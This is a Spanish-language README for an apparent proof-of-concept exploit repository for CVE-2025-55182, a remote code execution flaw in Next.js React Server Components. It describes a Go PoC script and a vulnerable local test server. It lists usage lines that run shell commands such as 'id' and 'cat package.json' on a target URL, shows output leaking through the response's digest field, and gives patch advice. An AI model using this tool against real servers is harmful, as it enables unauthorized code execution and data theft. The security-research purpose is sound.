
Exploit de prueba de concepto para CVE-2025-55182, una vulnerabilidad de ejecución remota de código (RCE) en Next.js mediante deserialización insegura en peticiones RSC. Incluye un script POC basado en Go y un servidor de prueba vulnerable para investigación y educación en seguridad.
⚠️ Esta herramienta es solo para fines de investigación de seguridad y enseñanza. No la utilice para actividades ilegales. ⚠️
CVE-2025-55182 es una vulnerabilidad grave de ejecución remota de código (RCE) en el framework Next.js. Esta vulnerabilidad se debe a un problema de deserialización insegura en Next.js al procesar solicitudes de React Server Components (RSC). Un atacante puede ejecutar código arbitrario en el servidor sin autorización mediante la construcción de solicitudes HTTP maliciosas.
Versiones afectadas:
Este proyecto proporciona un servidor de prueba Next.js vulnerable llamado test-server.
Asegúrate de tener Node.js y npm instalados.
cd test-server
npm install
npm run dev
El servidor se ejecuta por defecto en http://localhost:3000.
Nota: Si encuentras un error de archivo lock, puedes intentar ejecutar:
rm -f .next/dev/lock && npm run dev
Este proyecto proporciona un script PoC en Go llamado poc.go.
Uso:
go run poc.go [URL objetivo] [comando a ejecutar]
Ejemplos:
Ejecutar el comando id (por defecto)
go run poc.go
o
go run poc.go http://localhost:3000 id
Listar archivos del directorio actual
go run poc.go http://localhost:3000 "ls -la"
Ver contenido de un archivo
go run poc.go http://localhost:3000 "cat package.json"
Salida esperada:
Aunque el código de estado HTTP devuelve 500, el resultado del comando se incluirá en el campo digest de la respuesta.
1:E{"digest":"uid=502(hoosin) gid=20(staff) ...","name":"Error","message":"NEXT_REDIRECT",...}
Actualiza Next.js a una versión segura:
npm install next@latest react@latest react-dom@latest